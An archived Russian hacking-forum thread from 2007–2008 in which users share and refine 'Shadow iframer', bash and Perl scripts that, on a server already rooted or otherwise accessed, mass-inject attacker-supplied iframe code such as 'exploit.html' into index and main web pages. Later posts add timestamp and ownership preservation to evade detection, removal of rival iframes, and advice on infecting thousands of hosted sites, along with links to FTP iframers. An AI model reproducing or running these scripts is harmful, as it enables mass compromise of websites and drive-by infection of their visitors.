Форум АНТИЧАТ

Форум АНТИЧАТ (https://forum.antichat.xyz/index.php)
-   Избранное (https://forum.antichat.xyz/forumdisplay.php?f=89)
-   -   Shadow iframer [local] (https://forum.antichat.xyz/showthread.php?t=30464)

Gh0s7 03.01.2007 05:46

Shadow iframer [local] | [local][n0b0dy] version
 
Shadow iframer[local] [r00t] & [n0b0dy] versions


[ I Что? ]
Shadow iframer (нормального названия не смог придумать =\) - небольшой ифреймер, написанный мной сегодня ночью :D
Как известно, ифреймер - небольшая программа (а какие лоси пытались продать нечто подобное за 25$ :D) для вставки своего кода в php/html файлы. Смысл в этом такой:
Например, вам слили очередной превад сплойт из превада ачата. Сплойтенг берет все ослы, до седьмого включительно. Ясное дело, что его необходимо заюзать и поиметь энное кол-во ботов\асек\3.14зженный вебмань :D
А у вас под рукой как раз есть небольшой хостинг, который вы недавно порутали. на нем есть несколько К хтмл страниц, вставлять код в каждую ручками очень накладно. Этим и занимаюсться ифреймеры. Они автоматически вставляют некоторый код в html\php паги. Обычно это делается удаленно (например по фтп) или локально.
Эта версия - локальная.

[ II Как? ]
Для начала расскажу немного об устройстве этого скрипта.
Скрипт написан на баше с перловыми вставками. Т.к. подразумевается что трояниться будут все страницы, то скрипт соответственно требует рута. Конечно, переписать его под нобади\нерута и конкретную диру можно (но нужно ли?)).
По размеру скрипт достаточно маленький :)

Использовать его очень просто. Нужно только запустить с один параметром - файлом с ифрейм кодом (естественно, код может быть любым)). Далее скрипт найдет все index файлы и вставит в них ваш код. Добавление идет в начало body скрипта.
Вот лог запуска:
Код:

# ./iframe.sh
[*]Searching for perl.../usr/bin/perl
[*]Starting index finder...please wait...search complete. Found X pages
[*]Generating iframer...complete.Starting iframer
[*] Injecting complete, deleting temp files...
[*] Finished

[ III Sources&outro ]

Собственно сорец:
[r00t] version
Код:

#!/bin/bash

if [ $UID != 0 ]; then
  echo "[x]Need r00t :("; exit 1;
fi

check=`expr length "$1"`

if [ $check == 0 ]; then
  echo "########################################"
  echo "#Shadow iframer[local]  (c)ode by Gh0s7#"
  echo "########################################"
  echo "#usage: ./sh-iframe.sh [iframe file]  #"
  echo "#      ./sh-iframe.sh exploit.html    #"
  echo "########################################"
  exit 1
fi

echo -n "[*]Searching for perl..."; which perl

if [ $? != 0 ]; then
  echo "[x]No perl?"; exit
fi

echo -n "[*]Starting index finder...please wait..."

find / -name "index.html*" 2> /dev/null > /tmp/found
find / -name "index.php*"  2> /dev/null >> /tmp/found
find / -name "index.shtml" 2> /dev/null >> /tmp/found
find / -name "index.phtml" 2> /dev/null >> /tmp/found
find / -name "main.html*" 2> /dev/null > /tmp/found
find / -name "main.php*"  2> /dev/null >> /tmp/found
find / -name "default.php*"  2> /dev/null >> /tmp/found
find / -name "main.shtml" 2> /dev/null >> /tmp/found

len=`cat /tmp/found| wc -l`

echo "search complete. Found $len pages"
echo -n "[*]Generating iframer..."

iframer='\n
while (<INPUT>) {
  chomp; $file = $_;
  @res = split (/\//);
  $len = 0;
  foreach (@res) { $len++; }
  open (FILE, "<$_") or die;
  open (TMP, ">/tmp/$res[$len-1]") or die;
  open (INJECT, "<$inject") or die;
  sysread (INJECT, $code, 1024);
  close (INJECT);
  while (<FILE>) {
    print TMP $_;
    if (/<body>/) { print TMP $code; }
  }
  close (TMP);
  close (FILE);
  system ("./rm /tmp/$res[$len-1].bak 2>/dev/null");
  system ("./mv $file /tmp/$res[$len-1].bak");
  system ("./mv /tmp/$res[$len-1] $file");
}'
echo -ne "#!/usr/bin/perl -w\nopen (INPUT, \"</tmp/found\");\n\$inject=\"$1\";\n" > iframer.pl
echo -ne "$iframer" >> iframer.pl

echo 'mv $@' > ./mv; chmod +x ./mv
echo 'rm $@' > ./rm; chmod +x ./rm

echo "complete.Starting iframer"
perl iframer.pl
echo "[*] Injecting complete, deleting temp files..."
rm mv rm
rm /tmp/index*
echo "[*] Finished"
exit 0

[n0b0dy] version
Код:

#!/bin/bash

usage () {
  echo "########################################################"
  echo "#Shadow iframer[local][n0b0dy version]  (c)ode by Gh0s7#"
  echo "########################################################"
  echo "#usage: ./sh-iframe.sh [iframe file] [path]            #"
  echo "#      ./sh-iframe.sh exploit.html /var/www/31337.su  #"
  echo "########################################################"
  exit 1
}

check=`expr length "$1"`
if [ $check == 0 ]; then
  usage
fi

check=`expr length "$2"`
if [ $check == 0 ]; then
  usage
fi

if [ ! -d $2 ]; then
  echo "[x] $2 directory doesnt exists"; exit 1
fi

echo -n "[*]Searching for perl..."; which perl

if [ $? != 0 ]; then
  echo "[x]No perl?"; exit
fi

echo -n "[*]Starting index finder...please wait..."

find $2 -name "index.html*" 2> /dev/null > /tmp/found
find $2 -name "index.php*"  2> /dev/null >> /tmp/found
find $2 -name "index.shtml" 2> /dev/null >> /tmp/found
find $2 -name "index.phtml" 2> /dev/null >> /tmp/found
find $2 -name "main.html*" 2> /dev/null > /tmp/found
find $2 -name "main.php*"  2> /dev/null >> /tmp/found
find $2 -name "default.php*"  2> /dev/null >> /tmp/found
find $2 -name "main.shtml" 2> /dev/null >> /tmp/found

len=`cat /tmp/found| wc -l`

echo "search complete. Found $len pages"
echo -n "[*]Generating iframer..."

iframer='\n
while (<INPUT>) {
  chomp; $file = $_;
  @res = split (/\//);
  $len = 0;
  foreach (@res) { $len++; }
  open (FILE, "<$_") or next;
  open (TMP, ">/tmp/$res[$len-1]") or next;
  open (INJECT, "<$inject") or die;
  sysread (INJECT, $code, 1024);
  close (INJECT);
  while (<FILE>) {
    print TMP $_;
    if (/<body>/) { print TMP $code; }
  }
  close (TMP);
  close (FILE);
  system ("./rm /tmp/$res[$len-1].bak 2>/dev/null");
  system ("./mv $file /tmp/$res[$len-1].bak");
  system ("./mv /tmp/$res[$len-1] $file");
}'
echo -ne "#!/usr/bin/perl -w\nopen (INPUT, \"</tmp/found\");\n\$inject=\"$1\";\n" > iframer.pl
echo -ne "$iframer" >> iframer.pl

echo 'mv $@' > /tmp/mv; chmod +x /tmp/mv
echo 'rm $@' > /tmp/rm; chmod +x /tmp/rm

echo "complete.Starting iframer"
perl iframer.pl
echo "[*] Injecting complete, deleting temp files..."
rm /tmp/mv /tmp/rm
rm /tmp/index*
echo "[*] Finished"
exit 0

В ближайшее время будет закончен фтп ифреймер.
В заключение попрошу каментить и оценивать :) (как обычно)

P.S. Я не утверждаю что это мега-релиз, так что кричать что "мало" и т.д. не надо.
P.P.S. Читаем и отписываемся: https://forum.antichat.ru/thread30461.html

UPD 1:
Добавил версию для "кастрированных" аков.

-SMith- 03.01.2007 08:55

Я буду первым )
1) Плюс тебе за старания и написание статейки...
2)
Цитата:

Я не утверждаю что это мега-релиз
Согласен, не ново, вообщих чертах ты рассказал отлично, разложил все по-полочкам, но некоторым интересны тонкости...

aka PSIH 03.01.2007 09:00

Будет удобнее если в скипт добавить:
Код:

find / -name "main.html*" 2> /dev/null > /tmp/found
find / -name "main.php*"  2> /dev/null >> /tmp/found
find / -name "default.php*"  2> /dev/null >> /tmp/found
find / -name "main.shtml" 2> /dev/null >> /tmp/found


blackybr 03.01.2007 13:35

Ну в принципе для основы неплохо =) но допустим у нас не рут =) у нас есть путь к папке юзера

/home/user13/www/

содержимое папки /home/ мы просматривать можем, а вот уже на /user13/ Прав не хватает (в тоже время на /www/ все очень даже есть) .. ? ничего он не зафрэймит..

сталкивался много раз ) .. но твой явно основан на имении рута на тачке

aka PSIH 03.01.2007 13:41

Да, неплохо бы сделать чтоб можно было указывать с какой папки начинать искать файлы index.php и т.д
Хотя если Gh0s7 не возьмется, то могу я доделать... :p

limpompo 03.01.2007 14:35

Цитата:

. Т.к. подразумевается что трояниться будут все страницы, то скрипт соответственно требует рута.
Прочитав понятно что Нужны права РУТА!

Gh0s7 03.01.2007 17:05

Цитата:

Сообщение от aka PSIH
Будет удобнее если в скипт добавить:
Код:

find / -name "main.html*" 2> /dev/null > /tmp/found
find / -name "main.php*"  2> /dev/null >> /tmp/found
find / -name "default.php*"  2> /dev/null >> /tmp/found
find / -name "main.shtml" 2> /dev/null >> /tmp/found


Добавлено :)

Цитата:

Сообщение от blackybr
/home/user13/www/

содержимое папки /home/ мы просматривать можем, а вот уже на /user13/ Прав не хватает (в тоже время на /www/ все очень даже есть) .. ? ничего он не зафрэймит..

сталкивался много раз ) .. но твой явно основан на имении рута на тачке

Да, это даже написано, что ему нужен рут :)

Цитата:

Сообщение от aka PSIH
Да, неплохо бы сделать чтоб можно было указывать с какой папки начинать искать файлы index.php и т.д
Хотя если Gh0s7 не возьмется, то могу я доделать...

В ближайшее время доработаю :)

m0nzt3r 04.01.2007 23:20

blackybr, я эту фигню не догонял.Однажды поспорил с Dim-ok (ГГ привет те).Потом понял, что ошибся.Кстати респект ему ;)
Gh0s7 те конечто же тоже.Совет: читай названия дир с /etc/passwd :)

Dronga 05.01.2007 00:09

Цитата:

Сообщение от m0nzt3r
Совет: читай названия дир с /etc/passwd :)

+ httpd.conf

Замечательный релиз. Ждём версию для кастрированных учёток =)

Gh0s7 05.01.2007 01:38

Цитата:

Сообщение от Dronga
+ httpd.conf

Замечательный релиз. Ждём версию для кастрированных учёток =)

Гг, тогда напишу его после куррент проекта (модуль для проверки на веб баги)

KPOT_f!nd 06.01.2007 18:43

Статья интересная, + это однозначно! ! ! но есть одно но. Все происходит под правами root их не каждый может имееть!

podkashey 09.01.2007 03:40

Цитата:

(а какие лоси пытались продать нечто подобное за 25$ )
я бы убрал эту фразу, так как сравнивать то, что продается за 25 баксов и это, это жопу с пальцем сравнивать. А если у тебя не хостинг, а Н фтп, ты на каждый заливать будешь и запускать? То, что делает скрипт можно и руками сделать. Хостинги ломаные бывают не так часто, как бывают просто фтп etc.
P.S. Не воспринимай как оскарбление. ;) Все равно + за старание. ;)

Gh0s7 09.01.2007 12:38

Цитата:

Сообщение от podkashey
я бы убрал эту фразу, так как сравнивать то, что продается за 25 баксов и это, это жопу с пальцем сравнивать. А если у тебя не хостинг, а Н фтп, ты на каждый заливать будешь и запускать? То, что делает скрипт можно и руками сделать. Хостинги ломаные бывают не так часто, как бывают просто фтп etc.
P.S. Не воспринимай как оскарбление. ;) Все равно + за старание. ;)

Как оскАрбление не воспринял :)
А "если у меня не хостинг, а Н фтп", то для этого пишется отдельный фтп ифреймер, ака remote.
А то что продается за 25 по сути имеет тот же функционал.
Всеравно любой ифреймер - максимум 200 строк кода с каментами и рюшечками. "То, что делает скрипт можно и руками сделать", пожалуйста, тебе никто не запрещает пару к файлов вимом руками править)

Gh0s7 10.01.2007 19:33

Добавил версию для кастрированных аков

don cicio 10.01.2007 21:55

Уважаемые форумчане, боюсь показаться дебилом, но никогда не имел дело с подобными штуками.
Я установил active perl, сохранил файл как .pl, а когда запускаю, на секунду появляется консоль и сразу пропадает.
Не имею представления что нужно сделать, а скрипт ой как нужен. Помогите пожалуйста.
Спасибо.

Gh0s7 10.01.2007 22:10

Цитата:

Сообщение от don cicio
Уважаемые форумчане, боюсь показаться дебилом, но никогда не имел дело с подобными штуками.
Я установил active perl, сохранил файл как .pl, а когда запускаю, на секунду появляется консоль и сразу пропадает.
Не имею представления что нужно сделать, а скрипт ой как нужен. Помогите пожалуйста.
Спасибо.


Пуск - выполнить - cmd - perl <как_ты_назвал_файл.pl>

А зачем тебе на локальной машине ифреймер?)

don cicio 10.01.2007 23:13

Ну вот есть рутовый доступ к нескольким серверам через whm. Как же мне использовать скрипт что б разом прописать ифреймы на несколько тысяч сайтов?

Gh0s7 11.01.2007 00:00

Цитата:

Сообщение от don cicio
Ну вот есть рутовый доступ к нескольким серверам через whm. Как же мне использовать скрипт что б разом прописать ифреймы на несколько тысяч сайтов?

Заливай скрипт (как ты будешь это делать с цпанелем - хз), врубай его с указанием файлика с твоим кодом и все.

don cicio 11.01.2007 03:36

ага, а где ж мой код прописать?

Gh0s7 12.01.2007 00:16

Цитата:

Сообщение от don cicio
ага, а где ж мой код прописать?

Да куда хочешь пиши...код свой))

sunb0rn 18.01.2007 13:20

Вот..:)
 
Xорошый код, ифреймится, но я сделал пару фишек, которые мне казались нужными, чтобы получше фреймилось:
[+] body тэг теперь наxодится, если в нём прописаны какие то данные - например цвет
[+] не изменяется дата открытия/изменений файла
[+] не изменяется владелец модифицырованного файла
[+] пара мелкиx изменений по моему вкусу :)

Собственно сам код:
Код:

#!/bin/bash

if [ $UID != 0 ]; then
  echo "[x]Need r00t :("; exit 1;
fi

check=`expr length "$1"`

if [ $check == 0 ]; then
  echo "########################################"
  echo "#Shadow iframer[local]  (c)ode by Gh0s7#"
  echo "#        Moded By Sunb0rn            #"
  echo "########################################"
  echo "#usage: ./sh-iframe.sh [iframe file]  #"
  echo "#      ./sh-iframe.sh exploit.html    #"
  echo "########################################"
  exit 1
fi

echo -n "[*]Searching for perl..."; which perl

if [ $? != 0 ]; then
  echo "[x]No perl?"; exit
fi

echo -n "[*]Starting index finder...please wait..."

find / -name "index.htm*" 2> /dev/null > /tmp/found
find / -name "index.php"  2> /dev/null >> /tmp/found
find / -name "index.asp"  2> /dev/null >> /tmp/found
find / -name "main.htm*" 2> /dev/null >> /tmp/found
find / -name "main.php"  2> /dev/null >> /tmp/found
find / -name "main.asp" 2> /dev/null >> /tmp/found
find / -name "default.htm*" 2> /dev/null >> /tmp/found
find / -name "default.php"  2> /dev/null >> /tmp/found
find / -name "default.asp"  2> /dev/null >> /tmp/found

len=`cat /tmp/found| wc -l`

echo "search complete. Found $len pages"
echo -n "[*]Generating iframer..."

iframer='\n
while (<INPUT>) {
  chomp; $file = $_;
  $info = stat($file)    or die "no $file: $!";
  $t_uid = $info->uid;
  $t_gid = $info->gid;
  $t_atime = $info->atime;
  $t_mtime = $info->mtime;
  @res = split (/\//);
  $len = 0;
  $overwrite = 0;
  foreach (@res) { $len++; }
  open (FILE, "<$_") or die;
  open (TMP, ">/tmp/$res[$len-1]") or die;
  open (INJECT, "<$inject") or die;
  sysread (INJECT, $code, 1024);
  close (INJECT);
  while (<FILE>){
    print TMP $_;
    if (/<body/){
                if (/>/){print TMP $code;$overwrite = 1;}
        }
  }
  close (TMP);
  close (FILE);
  if ($overwrite == 1){
  system ("./rm /tmp/$res[$len-1].bak 2>/dev/null");
  system ("./mv $file /tmp/$res[$len-1].bak");
  system ("./mv /tmp/$res[$len-1] $file");
  utime $t_atime, $t_mtime, $file;
  system ("chown $t_uid:$t_gid $file");
  }
}'
echo -ne "#!/usr/bin/perl -w\nuse File::stat\nopen (INPUT, \"</tmp/found\");\n\$inject=\"$1\";\n" > iframer.pl
echo -ne "$iframer" >> iframer.pl

echo 'mv $@' > ./mv; chmod +x ./mv
echo 'rm $@' > ./rm; chmod +x ./rm

echo "complete.Starting iframer"
perl iframer.pl
echo "[*] Injecting complete, deleting temp files..."
rm mv rm
rm -f /tmp/index* /tmp/main* /tmp/default* /tmp/found iframer.pl
echo "[*] Finished"
exit 0

Пока в нём не xватает только, чтобы проверял на присутствие другиx фреймов, удаления или иx замены своим кодом, но это как то в будущем.

KSURi 18.01.2007 17:00

Имея на машине рута, можно найти куда более интересные применения для нее => вижу смысл юзания только ftp iframer'a

TANZWUT 06.02.2007 14:43

FTP-iframer:
[Возможности]
1/ Автоматическая проверка всех аккаунтов перед добавлением
2/ Гибкая возможность управления добавляемого кода
3/ Подробный лог добавляемого кода позволяющий эффективней работать скрипту
4/ Экспорт лога в удобном виде
5/ Импорт и экспорт ftp аккаунтов согласно определенных форматов
6/ ftp аккаунты возможно контроллировать визуально - добавлять / удалять лишь по одному
7/ пароллирование скрипта
8/ возможность заливать или удалять файлы на все сервера
new
9/ интеллектуальная система позволяющас заражать только то что рационально, тем самым не тратя лишние ресурсы вашего сервера и ваше же время. заражаются только те файлы которые чаще всего будут показаны(подробнее читать в Как работает скрипт, ниже)
10/ красивая, подробная выдача, можно наблюдать за процессом инфицирования


_http://slil.ru/23882712

сливаем пока линк работает ;)

don cicio 10.02.2007 04:18

у меня в логе скрипта появляется следующее

Код:

[*]Searching for perl.../usr/local/bin/perl[*]Starting index finder...please wait...search complete. Found 12345 pages[*]Generating iframer...complete.Starting iframer
mv: failed to preserve ownership for `/tmp/index.htm.bak': Disk quota exceeded
mv: failed to preserve ownership for `/tmp/index.html.bak': Disk quota exceeded
mv: failed to preserve ownership for `/tmp/index.html.bak': Disk quota exceeded
mv: failed to preserve ownership for `/tmp/index.html.bak': Disk quota exceeded
mv: failed to preserve ownership for `/tmp/index.html.bak': Disk quota exceeded
mv: failed to preserve ownership for `/tmp/index.html.bak': Disk quota exceeded
mv: failed to preserve ownership for `/tmp/index.html.bak': Disk quota exceeded
mv: failed to preserve ownership for `/tmp/index.html.bak': Disk quota exceeded
mv: failed to preserve ownership for `/tmp/index.html.bak': Disk quota exceeded
mv: failed to preserve ownership for `/tmp/index.html.bak': Disk quota exceeded
mv: failed to preserve ownership for `/tmp/index.html.bak': Disk quota exceeded
mv: failed to preserve ownership for `/tmp/index.html.bak': Disk quota exceeded
mv: failed to preserve ownership for `/tmp/index.html.bak': Disk quota exceeded
mv: failed to preserve ownership for `/tmp/index.htm.bak': Disk quota exceeded
chown: changing ownership of `/home/qwerty/public_html/index.htm': Disk quota exceeded
no /usr/local/cpanel/base/webmail/x2/index.html: No such file or directory at iframer.pl line 9, <INPUT> line 869.[*] Injecting complete, deleting temp files...[*] Finished

не подскажите что бы это значило?

sunb0rn 10.02.2007 12:52

Пишет, что не может соxранить этот файл, потому что кончилась дисковая квота :), только странно конечно, если такое под рутом случилось:)

don cicio 19.02.2007 03:34

еще одна проблема - на сервере с небольшим количеством сайтов (штук 40) все отлично ифреймится буквально за минут 30, даже меньше. Но когда запускаю на сервере где хоститятся скажем 400-500 сайтов, скрипт очень долго ищет индексы (бывало и на 7 часов оставлял) и никакого результата, пока сокс не слетает.
Может кто подскажет в чем проблема?

sunb0rn 28.04.2007 21:32

Сел, немного (пару дней) поучил язык скрипта перла, понравилось, переделал ифреймер для теx, кто для рута лучшее решение не нашёл, также для теx, кто свой сервер xотят освободить от нежелательныx фреймов. Плюсы и мунусы этого релиза:
[*] дополнительно нужно указать путь, где искать файлы для фрейма, так как использование "/" по моему не целесобразно
[+] поиск файлов производится на порядок быстрее защёт използования регулярныx выражений и функции grep
[+] удаляет все фреймы по маске <iframe + ваш код + ></iframe>, если они не совпадают с кодом записанным в файле фреймов
[+] вставляет фрейм перед кодом </body>, если в файле не нашёл тэг <body.*>
[+] старается в одном файле вставлять только один код фрейма (xотябы задумка такая :))
[+] Удобно для теx, кто вставил свои фреймы, но при этом не потеряли рута, и xотят иx сменить или удалить :)
[+/-] теоретически может работать как удалитель фреймов, если файл с предпологаемым фреймом пустой (не проверялось)
[-] вставка фреймов осуществляется медленнее из за исползования функции seek в файле
[-] тестилось только на cygwin, так что не ручаюсь, если seek на nix'аx не работает аналогично!
Код:

#!/bin/bash

if [ $UID != 0 ]; then
  echo "[x]Need r00t :("; exit 1;
fi

usage () {
  echo "################################################"
  echo "#    Shadow iframer[local]  (c)ode by Gh0s7    #"
  echo "#              Moded By Sunb0rn                #"
  echo "################################################"
  echo "#usage: ./sh-iframe.sh [iframe file] [path]    #"
  echo "#      ./sh-iframe.sh exploit.html  /var/www/ #"
  echo "################################################"
  exit 1
}

check=`expr length "$1"`
if [ $check == 0 ]; then
  usage
fi

check=`expr length "$2"`
if [ $check == 0 ]; then
  usage
fi

echo -n "[*]Searching for perl..."; which perl

if [ $? != 0 ]; then
  echo "[x]No perl?"; exit
fi

echo -n "[*]Starting index finder...please wait..."

find $2 -iregex ".*\(php\|php3\|htm\|html\|tpl\|asp\|aspx\|phtm\|phtml\|shtm\|shtml\|cfm\|txt\|jsp\|jhtml\)$"|grep -E -i "index\.|default\.|main\.|news\.|portal\.|header\.|footer\.|forum\.|site\.|theme\.|template\.|frame\.|body\.|home\.|menu\." 2> /dev/null>>/tmp/found

len=`cat /tmp/found| wc -l`

echo "search complete. Found $len pages"
echo -n "[*]Generating iframer..."

iframer='\n
while (<INPUT>) {
  chomp; $file = $_;
  $info = stat($file)    or die "no $file: $!";
  $d_uid = $info->uid;
  $d_gid = $info->gid;
  $d_atime = $info->atime;
  $d_mtime = $info->mtime;
  @res = split (/\//);
  $len = 0;
  $overwrite = 0;
  foreach (@res) { $len++; }
  open (FILE, "<$_") or die;
  open (TMP, ">/tmp/$res[$len-1]") or die;
  open (INJECT, "<$inject") or die;
  sysread (INJECT, $code, 1024);
  close (INJECT);
  my $frcount = 0;
  while (<FILE>)
  {
        print TMP $_;
        my $linelength = length $_;
        while (/<iframe.*><\/iframe>/i)
        {
                if (/$inject/i) {$frcount ++;}
                if ((!/$inject/i)||($frcount > 1))
                {
                        seek(TMP,-$linelength,1);
                        if ($_ =~ /$inject/i) {$frcount --;}
                        $_ =~ s/(<iframe.*><\/iframe>)//i;
                        print TMP $_;
                        $linelength = length $_;
                }
        }
        if ((/<body/i)&&($frcount < 1))
        {
                if (/>/)
                {
                        print TMP $code;
                        $frcount ++;
                        $overwrite = 1;
                }
        }
        if ((/<\/body>/i)&&($overwrite == 0)&&($frcount < 1))
        {
                seek(TMP,-$linelength,1);
                print TMP $code.$_;
                $frcount ++;
                $overwrite = 1;
        }
  }
  close (FILE);
  close (TMP);
  if ($overwrite == 1)
  {
          system ("./rm /tmp/$res[$len-1].bak 2>/dev/null");
          system ("./mv $file /tmp/$res[$len-1].bak");
          system ("./mv /tmp/$res[$len-1] $file");
          utime $d_atime, $d_mtime, $file;
          system ("chown $d_uid:$d_gid $file");
  }
}'
echo -ne "#!/usr/bin/perl -w\nuse File::stat\nopen (INPUT, \"</tmp/found\");\n\$inject=\"$1\";" > iframer.pl
echo -ne "$iframer" >> iframer.pl

echo 'mv $@' > ./mv; chmod +x ./mv
echo 'rm $@' > ./rm; chmod +x ./rm

echo "complete.Starting iframer"
perl iframer.pl
echo "[*] Injecting complete, deleting temp files..."
rm mv rm
rm -f /tmp/* iframer.pl
echo "[*] Finished"
exit 0

Кстати - если в пути файла порбелы будут, то будет выскакивать ошыбка, что файл не существует , решение неискал...

P.S. извиняюсь за русский - не родной :)
P.P.S. при copy-->paste удаляйте лишние пробелы,а также о багаx пишите тут или в личку!

cantrabas 16.12.2007 16:18

кто объяснит(до делает)
 
по про бывал последний вариант, -что-то он не работает

_Sniper_ 19.12.2007 21:21

Выложите ftp инфреймер пожалуйста.

satana8920 02.03.2008 03:33

угу просим фтп инфреймер

Piflit 02.03.2008 03:45

Цитата:

фтп инфреймер
genom-- продавал

SQL 02.03.2008 05:56

от генома фтп ифреймер/чекер

Скачать

KemSucks 03.03.2008 10:07

подскажите как его сделать автоматом через крон?

genom-- 21.04.2008 08:54

пока не убрал #!/bin/bash ругался на bad ineterpretator
bash: ./def.sh: /bin/bash^M: bad interpreter: No such file or directory

sedoy_xxx 07.07.2008 17:13

перезалейте ftp ифреймер пожалуйста

IIAHbI4 07.07.2008 18:16

d1ez_FTP_MoneyMaker и ему подобный чем не устраивает? кому нужно в ПМ.

n0ne 26.07.2008 18:31

IIAHbI4, диезовский и подобные ему фреймеры - софт совершенно другого назначения. Как ты собираешься юзать того же диеза, если ты, скажем, порутал тачку и тебе нужно всё профреймить, пока не спалили? Только не предлагай ставить сниффер на фтп пассы или что-то подобное))

По делу - пытаюсь заюзать на тачке под рутом - unexpected end of file на 73 строке. В чем дело? 0_о

PandoraBox 26.07.2008 22:18

Цитата:

Сообщение от _Sniper_
Выложите ftp инфреймер пожалуйста.

http://forum.antichat.ru/thread58971.html

n0ne 27.07.2008 02:30

Цитата:

пытаюсь заюзать на тачке под рутом - unexpected end of file на 73 строке. В чем дело? 0_о
Всё ещё нужен дельный совет =\

з.ы. Если кто-то знает другой локальный фреймер - тож будет интересно :)

IIAHbI4 06.08.2008 14:29

Цитата:

Сообщение от n0ne
IIAHbI4, диезовский и подобные ему фреймеры - софт совершенно другого назначения. Как ты собираешься юзать того же диеза, если ты, скажем, порутал тачку и тебе нужно всё профреймить, пока не спалили? Только не предлагай ставить сниффер на фтп пассы или что-то подобное))

По делу - пытаюсь заюзать на тачке под рутом - unexpected end of file на 73 строке. В чем дело? 0_о

открой и посмотри, там анти кидис стоит, синтаксис проверь, запьтую, скобку, кавычку или в readme почитай.
+ 777 на папку все диры и файлы выстави, если дедик на винде то 777 стоит по дефолту.


Время: 21:16